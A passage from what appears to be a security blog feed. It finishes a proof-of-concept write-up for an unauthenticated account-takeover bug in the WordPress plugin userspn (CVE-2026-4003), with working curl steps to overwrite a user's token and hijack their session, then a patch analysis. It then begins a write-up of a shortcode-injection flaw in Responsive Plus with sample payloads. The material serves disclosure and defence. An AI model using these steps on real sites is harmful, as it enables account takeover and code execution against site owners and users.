&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation accessible over HTTP/HTTPS&lt;/li&gt;
&lt;li&gt;Plugin &lt;code&gt;userspn&lt;/code&gt; installed and activated, version &amp;lt;= 1.1.15&lt;/li&gt;
&lt;li&gt;For the full account-takeover chain: the &quot;Auto-login&quot; feature must be enabled in plugin settings (&lt;code&gt;userspn_auto_login&lt;/code&gt; = &lt;code&gt;on&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Target: a non-administrator user account (e.g. a subscriber with user ID 2)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 1: Extract the Nonce from Any Public Page&lt;/h3&gt;
&lt;p&gt;Load the WordPress homepage (or any page that enqueues the plugin&apos;s scripts) and extract the nonce from the inline JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://target.example.com&quot;

# Fetch the page and extract the nonce
NONCE=$(curl -s &quot;$TARGET/&quot; | grep -oP &apos;&quot;userspn_ajax_nonce&quot;\s*:\s*&quot;\K[^&quot;]+&apos;)
echo &quot;Extracted nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;What to look for in page source:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&apos;text/javascript&apos; id=&apos;userspn-js-extra&apos;&amp;gt;
var userspn_ajax = {
    &quot;ajax_url&quot;: &quot;https://target.example.com/wp-admin/admin-ajax.php&quot;,
    &quot;userspn_ajax_nonce&quot;: &quot;ab12cd34ef&quot;
};
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 2: Identify the Target User ID&lt;/h3&gt;
&lt;p&gt;Find the user ID of the target account. This can be done via the WordPress REST API (if user enumeration is not disabled) or by inspecting public profile pages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# List users via REST API (works on default WP installations)
curl -s &quot;$TARGET/wp-json/wp/v2/users&quot; | python3 -m json.tool | grep &apos;&quot;id&quot;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Example output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{ &quot;id&quot;: 2, &quot;name&quot;: &quot;Jane Doe&quot;, &quot;slug&quot;: &quot;janedoe&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Target user ID for this PoC: &lt;strong&gt;2&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 3: Overwrite the Target User&apos;s &lt;code&gt;userspn_secret_token&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Send an unauthenticated POST to the AJAX endpoint with the extracted nonce, targeting user ID 2. The payload sets &lt;code&gt;userspn_secret_token&lt;/code&gt; (via the key &lt;code&gt;secret_token&lt;/code&gt;) to an attacker-controlled value:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://target.example.com&quot;
NONCE=&quot;ab12cd34ef&quot;          # Replace with value from Step 1
TARGET_USER_ID=2             # Replace with target user&apos;s ID
ATTACKER_TOKEN=&quot;pwned12345&quot;  # Attacker-chosen token value

curl -s -X POST &quot;$TARGET/wp-admin/admin-ajax.php&quot; \
  --data-urlencode &quot;action=userspn_ajax_nopriv&quot; \
  --data-urlencode &quot;userspn_ajax_nopriv_type=userspn_form_save&quot; \
  --data-urlencode &quot;userspn_ajax_nopriv_nonce=$NONCE&quot; \
  --data-urlencode &quot;userspn_form_type=user&quot; \
  --data-urlencode &quot;userspn_form_user_id=$TARGET_USER_ID&quot; \
  --data-urlencode &quot;userspn_ajax_keys[0][id]=secret_token&quot; \
  --data-urlencode &quot;userspn_ajax_keys[0][node]=INPUT&quot; \
  --data-urlencode &quot;userspn_ajax_keys[0][type]=text&quot; \
  --data-urlencode &quot;userspn_ajax_keys[0][multiple]=false&quot; \
  --data-urlencode &quot;secret_token=$ATTACKER_TOKEN&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected response (success — meta written):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;action&quot;:&quot;userspn_form_save&quot;,&quot;user_id&quot;:&quot;2&quot;,&quot;form_type&quot;:&quot;user&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or an empty/null response body with HTTP 200, indicating the request was processed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What happened:&lt;/strong&gt; WordPress has now executed &lt;code&gt;update_user_meta(2, &apos;userspn_secret_token&apos;, &apos;pwned12345&apos;)&lt;/code&gt; and also &lt;code&gt;update_user_meta(2, &apos;secret_token&apos;, &apos;pwned12345&apos;)&lt;/code&gt; — with no authentication.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 4: Trigger Account Takeover via Magic Link&lt;/h3&gt;
&lt;p&gt;With the secret token overwritten, visit the auto-login URL as the attacker (unauthenticated browser session):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -v -L &quot;$TARGET/?userspn_auto_login=1&amp;amp;userspn_user_id=$TARGET_USER_ID&amp;amp;userspn_secret_token=$ATTACKER_TOKEN&amp;amp;userspn_login_username=janedoe&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or visit the following URL directly in a browser (private/incognito window):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://target.example.com/?userspn_auto_login=1&amp;amp;userspn_user_id=2&amp;amp;userspn_secret_token=pwned12345&amp;amp;userspn_login_username=janedoe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;What happens:&lt;/strong&gt; The &lt;code&gt;userspn_auto_login()&lt;/code&gt; function:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reads &lt;code&gt;userspn_secret_token&lt;/code&gt; for user 2 from the database → &lt;code&gt;pwned12345&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Compares with the GET parameter &lt;code&gt;userspn_secret_token&lt;/code&gt; → &lt;code&gt;pwned12345&lt;/code&gt; ✓&lt;/li&gt;
&lt;li&gt;Confirms user 2 is not an administrator ✓&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;wp_set_current_user(2, &apos;janedoe&apos;)&lt;/code&gt; and &lt;code&gt;wp_set_auth_cookie(2)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Redirects to the homepage&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;The attacker is now authenticated as user ID 2 (Jane Doe).&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;After completing Step 4, the attacker holds a valid WordPress authentication cookie for the target user account. They can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Access the WordPress dashboard as that user&lt;/li&gt;
&lt;li&gt;Read/modify any content the user has access to&lt;/li&gt;
&lt;li&gt;Change the user&apos;s email address or password (locking out the legitimate user)&lt;/li&gt;
&lt;li&gt;Escalate further if the target account has elevated roles&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;To confirm account takeover succeeded:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Save the cookie from the auto-login redirect
curl -c /tmp/stolen_cookies.txt -L \
  &quot;$TARGET/?userspn_auto_login=1&amp;amp;userspn_user_id=2&amp;amp;userspn_secret_token=pwned12345&amp;amp;userspn_login_username=janedoe&quot;

# Verify authentication by accessing /wp-admin/profile.php
curl -b /tmp/stolen_cookies.txt -s &quot;$TARGET/wp-admin/profile.php&quot; | grep -o &apos;user-info.*&amp;lt;/h2&amp;gt;&apos; | head -1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A successful response will show the target user&apos;s profile page content rather than the login form.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The patch (version 1.1.25) modifies &lt;strong&gt;&lt;code&gt;includes/class-userspn-ajax-nopriv.php&lt;/code&gt;&lt;/strong&gt; only. The nonce exposure in &lt;code&gt;class-userspn-common.php&lt;/code&gt; was &lt;strong&gt;not changed&lt;/strong&gt; — the nonce is still publicly exposed, but the AJAX handler now enforces proper authorization before acting on any supplied &lt;code&gt;user_id&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;A proper authorization guard was inserted at &lt;code&gt;class-userspn-ajax-nopriv.php&lt;/code&gt; immediately after the &lt;code&gt;if (!empty($user_id))&lt;/code&gt; check, before any call to &lt;code&gt;update_user_meta()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Added in 1.1.25 — runs before update_user_meta()
if (!is_user_logged_in() || (intval($user_id) !== get_current_user_id() &amp;amp;&amp;amp; !USERSPN_Functions_User::userspn_user_is_admin(get_current_user_id()))) {
    echo wp_json_encode([
        &apos;error_key&apos;     =&amp;gt; &apos;userspn_form_save_error_unauthorized&apos;,
        &apos;error_content&apos; =&amp;gt; esc_html(__(&apos;You are not authorized to perform this action.&apos;, &apos;userspn&apos;)),
    ]);
    exit;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This check enforces two conditions before proceeding:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The request &lt;strong&gt;must&lt;/strong&gt; come from a logged-in user (&lt;code&gt;is_user_logged_in()&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The logged-in user &lt;strong&gt;must&lt;/strong&gt; either be the account owner (&lt;code&gt;$user_id === get_current_user_id()&lt;/code&gt;) or an administrator.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;An equivalent fix was applied to the &lt;code&gt;post&lt;/code&gt; form type as well.&lt;/p&gt;
&lt;h3&gt;Is the Fix Complete?&lt;/h3&gt;
&lt;p&gt;The fix addresses the root cause (missing authorization before &lt;code&gt;update_user_meta()&lt;/code&gt;). However, the nonce exposure remains — any visitor can still extract &lt;code&gt;userspn_ajax_nonce&lt;/code&gt; from page source. This means the nonce provides no real CSRF protection. A more thorough hardening would:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Only expose the nonce to authenticated users (conditional &lt;code&gt;wp_localize_script&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Or generate a per-user nonce with a user-specific action (e.g. &lt;code&gt;&apos;userspn-nonce-&apos; . get_current_user_id()&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For the specific reported vulnerability (unauthenticated privilege escalation), the patch is effective.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Change)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/includes/class-userspn-ajax-nopriv.php (1.1.15)
+++ b/includes/class-userspn-ajax-nopriv.php (1.1.25)
@@ -215,6 +215,15 @@ class USERSPN_Ajax_Nopriv {
                     }
 
                     if (!empty($user_id)) {
+                      // Authorization: only the account owner or an admin may update user meta
+                      if (!is_user_logged_in() || (intval($user_id) !== get_current_user_id() &amp;amp;&amp;amp; !USERSPN_Functions_User::userspn_user_is_admin(get_current_user_id()))) {
+                        echo wp_json_encode([
+                          &apos;error_key&apos; =&amp;gt; &apos;userspn_form_save_error_unauthorized&apos;,
+                          &apos;error_content&apos; =&amp;gt; esc_html(__(&apos;You are not authorized to perform this action.&apos;, &apos;userspn&apos;)),
+                        ]);
+                        exit;
+                      }
+
                       foreach ($userspn_key_value as $userspn_key =&amp;gt; $userspn_value) {
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by BaroHaf - fpt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 7, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 7, 2026&lt;/td&gt;
&lt;td&gt;Patched version 1.1.25 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Update the &lt;code&gt;userspn&lt;/code&gt; plugin to version 1.1.25 or later immediately.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible, consider these temporary mitigations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disable the &quot;Auto-login&quot; feature in plugin settings to break the account-takeover chain (does not fix the arbitrary user meta write).&lt;/li&gt;
&lt;li&gt;Use a WAF rule to block unauthenticated POST requests to &lt;code&gt;admin-ajax.php&lt;/code&gt; with &lt;code&gt;action=userspn_ajax_nopriv&lt;/code&gt; and a non-empty &lt;code&gt;userspn_form_user_id&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/userspn/users-manager-pn-1115-unauthenticated-privilege-escalation-via-account-takeover-via-userspn-form-save-ajax-action&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4003&quot;&gt;CVE-2026-4003 at NVD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-ajax-nopriv.php#L233&quot;&gt;Vulnerable AJAX handler — trunk (L233)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/userspn/tags/1.0.31/includes/class-userspn-ajax-nopriv.php#L233&quot;&gt;Vulnerable AJAX handler — tag 1.0.31 (L233)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-ajax-nopriv.php#L186&quot;&gt;Vulnerable AJAX handler — trunk (L186)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-ajax-nopriv.php#L190&quot;&gt;Vulnerable AJAX handler — trunk (L190)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-common.php#L168&quot;&gt;Nonce exposure — class-userspn-common.php (L168)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/userspn/trunk/includes/class-userspn-functions-user.php#L235&quot;&gt;Magic link auto-login — class-userspn-functions-user.php (L235)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;old=3491109%40userspn&amp;amp;new=3491109%40userspn&quot;&gt;Patch changeset on Trac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/userspn/&quot;&gt;Plugin page on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-07T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-15488: Unauthenticated Code Injection in Responsive Plus</title><link>https://hurayraiit.com/blog/cve-2025-15488-unauthenticated-code-injection-responsive-plus/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-15488-unauthenticated-code-injection-responsive-plus/</guid><description>CVE-2025-15488 (CVSS 9.8): Unauthenticated arbitrary shortcode execution in Responsive Plus – attackers can run any shortcode on vulnerable WooCommerce sites.</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2025-15488&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated arbitrary shortcode execution (code injection) vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/responsive-add-ons/&quot;&gt;Responsive Plus – Elementor Templates &amp;amp; Starter Sites&lt;/a&gt; WordPress plugin. An unauthenticated attacker can POST a crafted request to a publicly accessible AJAX endpoint and cause the server to execute any registered WordPress shortcode — including shortcodes from third-party plugins that evaluate arbitrary PHP code. All versions before 3.4.3 are affected.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Responsive Plus – Elementor Templates &amp;amp; Starter Sites&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;responsive-add-ons&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15488&quot;&gt;CVE-2025-15488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary Shortcode Execution (Code Injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/responsive-add-ons.3.4.2.zip&quot;&gt;&amp;lt;= 3.4.2&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/responsive-add-ons.3.4.3.zip&quot;&gt;3.4.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;March 30, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nos3curity&quot;&gt;Alex Tselevich (nos3curity)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/responsive-add-ons/responsive-plus-elementor-templates-starter-sites-343-unauthenticated-arbitrary-code-execution&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Responsive Plus – Elementor Templates &amp;amp; Starter Sites plugin for WordPress is vulnerable to Remote Code Execution in all versions up to 3.4.3 (exclusive). This makes it possible for unauthenticated attackers to execute code on the server.&lt;/p&gt;
&lt;p&gt;The vulnerability exists in the AJAX handler &lt;code&gt;update_responsive_woo_free_shipping_left_shortcode&lt;/code&gt;, which is registered without any authentication or nonce requirement. This handler accepts attacker-controlled POST parameters and passes them directly to &lt;code&gt;do_shortcode()&lt;/code&gt;, allowing any registered WordPress shortcode to be executed with the privileges of the web server.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/customizer/helper.php&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Step 1 — Hook Registration (lines 728–729)&lt;/h4&gt;
&lt;p&gt;Both authenticated and unauthenticated AJAX requests are registered for the same callback, with &lt;strong&gt;no nonce check&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action( &apos;wp_ajax_update_responsive_woo_free_shipping_left_shortcode&apos;, &apos;update_responsive_woo_free_shipping_left_shortcode&apos; );
add_action( &apos;wp_ajax_nopriv_update_responsive_woo_free_shipping_left_shortcode&apos;, &apos;update_responsive_woo_free_shipping_left_shortcode&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;nopriv&lt;/code&gt; variant means the handler fires for &lt;strong&gt;completely unauthenticated visitors&lt;/strong&gt;.&lt;/p&gt;
&lt;h4&gt;Step 2 — Unvalidated POST Input (lines 703–724)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function update_responsive_woo_free_shipping_left_shortcode() {
    $atts = array();
    // The nonce is not provided by WooCommerce for this context, suppressing warning.
    // phpcs:disable WordPress.Security.NonceVerification.Missing

    if ( ( isset( $_POST[&apos;content&apos;] ) &amp;amp;&amp;amp; &apos;&apos; !== sanitize_text_field( wp_unslash( $_POST[&apos;content&apos;] ) ) )
        || ( isset( $_POST[&apos;content_rech_data&apos;] ) &amp;amp;&amp;amp; &apos;&apos; !== sanitize_text_field( wp_unslash( $_POST[&apos;content_rech_data&apos;] ) ) ) ) {

        $atts[&apos;content_reached&apos;] = sanitize_text_field( wp_unslash( $_POST[&apos;content_rech_data&apos;] ) );
        $content                 = str_replace( &apos;+&apos;, &apos;%&apos;, sanitize_text_field( wp_unslash( $_POST[&apos;content_rech_data&apos;] ) ) );
        $atts[&apos;content&apos;]         = $content;
        $return_shortcode_value  = woo_free_shipping_shortcode( $atts, &apos;&apos; );   // ← attacker controls $atts
        wp_send_json( $return_shortcode_value );
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips HTML tags but &lt;strong&gt;preserves WordPress shortcode syntax&lt;/strong&gt; such as &lt;code&gt;[some_shortcode]&lt;/code&gt; or &lt;code&gt;[php code=&quot;phpinfo()&quot;]&lt;/code&gt;. The sanitized value is set directly as &lt;code&gt;$atts[&apos;content_reached&apos;]&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Step 3 — Shortcode Execution (lines 678–692 + 631–635)&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;woo_free_shipping_shortcode()&lt;/code&gt; passes &lt;code&gt;$atts[&apos;content_reached&apos;]&lt;/code&gt; through to &lt;code&gt;woo_free_shipping_left()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function woo_free_shipping_shortcode( $atts, $content ) {
    // ...
    $atts = shortcode_atts( array(
        &apos;content&apos;         =&amp;gt; ...,
        &apos;content_reached&apos; =&amp;gt; esc_html__( &apos;You have Free delivery!&apos;, &apos;responsive_addons_pro&apos; ),
        &apos;multiply_by&apos;     =&amp;gt; 1,
    ), $atts );

    $content_reached = $atts[&apos;content_reached&apos;];   // ← attacker-controlled value
    // ...
    return woo_free_shipping_left( ..., $content_reached, ... );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside &lt;code&gt;woo_free_shipping_left()&lt;/code&gt; (line 635):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( $total &amp;gt;= $min_free_shipping_amount ) {
    return do_shortcode( $content_reached );   // ← arbitrary shortcode execution
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;do_shortcode()&lt;/code&gt; will execute &lt;strong&gt;any registered WordPress shortcode&lt;/strong&gt; contained in &lt;code&gt;$content_reached&lt;/code&gt;, including shortcodes from other plugins that can run PHP code (e.g., shortcodes registered by code-snippet plugins, custom field evaluation plugins, etc.).&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The root cause is a &lt;strong&gt;missing trusted-source validation&lt;/strong&gt; on the &lt;code&gt;content_rech_data&lt;/code&gt; POST parameter. The AJAX callback:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Is registered for unauthenticated visitors (&lt;code&gt;wp_ajax_nopriv_*&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Has the nonce check explicitly disabled with a PHPCS suppression comment&lt;/li&gt;
&lt;li&gt;Reads &lt;code&gt;$_POST[&apos;content_rech_data&apos;]&lt;/code&gt; and passes it to &lt;code&gt;do_shortcode()&lt;/code&gt; with no allowlist check on which shortcode tags are permitted&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; was mistakenly assumed to be sufficient; it does not strip shortcode tags.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No nonce:&lt;/strong&gt; The developer explicitly suppressed nonce verification with &lt;code&gt;// phpcs:disable WordPress.Security.NonceVerification.Missing&lt;/code&gt;, citing WooCommerce context. This eliminated CSRF protection entirely and also destroyed the implicit protection nonces provide against anonymous callers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Insufficient sanitization:&lt;/strong&gt; &lt;code&gt;sanitize_text_field()&lt;/code&gt; is designed to strip HTML, not to restrict what WordPress shortcode tags are allowed. A value like &lt;code&gt;[my_exec_shortcode cmd=&quot;id&quot;]&lt;/code&gt; passes through untouched.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No shortcode allowlist:&lt;/strong&gt; The code trusts whatever shortcode the caller supplies. Any shortcode registered by any active plugin — including code-execution shortcodes from popular plugins like &quot;Insert PHP&quot;, &quot;Shortcodes Ultimate&quot;, or site-specific custom shortcodes — can be triggered.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Execute any WordPress shortcode registered on the target site&lt;/li&gt;
&lt;li&gt;Trigger shortcodes from other plugins that evaluate PHP code, potentially achieving full Remote Code Execution&lt;/li&gt;
&lt;li&gt;Read or exfiltrate data via shortcodes that expose user data, database contents, or file contents&lt;/li&gt;
&lt;li&gt;Achieve persistent access if a shortcode can create or modify WordPress admin accounts&lt;/li&gt;
&lt;li&gt;Abuse SSRF-capable shortcodes to pivot to internal network services&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The CVSS score of &lt;strong&gt;9.8 (Critical)&lt;/strong&gt; reflects that no authentication, no interaction, and no special precondition (beyond WooCommerce being active and free shipping configured with a minimum order amount) is required.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with &lt;code&gt;responsive-add-ons&lt;/code&gt; plugin installed and activated, version &amp;lt;= 3.4.2&lt;/li&gt;
&lt;li&gt;WooCommerce installed and activated&lt;/li&gt;
&lt;li&gt;A free shipping method configured with a minimum order amount (e.g., &quot;Free Shipping&quot; zone, requires minimum order of $50)&lt;/li&gt;
&lt;li&gt;At least one product available for purchase on the store&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Add items to session cart to meet the free shipping threshold&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;WooCommerce sessions are cookie-based. Any visitor can add items to their cart. If the free shipping minimum is $50 and Product ID 42 costs $60:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Add a product to cart — use the site&apos;s actual product ID and URL
curl -c /tmp/woo-cookies.txt -b /tmp/woo-cookies.txt \
  -X POST &quot;https://TARGET/wp-admin/admin-ajax.php&quot; \
  -d &quot;action=woocommerce_add_to_cart&amp;amp;product_id=42&amp;amp;quantity=1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, just visit any product page in a browser and add it to the cart, then use the browser&apos;s cookie jar for the next request.&lt;/p&gt;
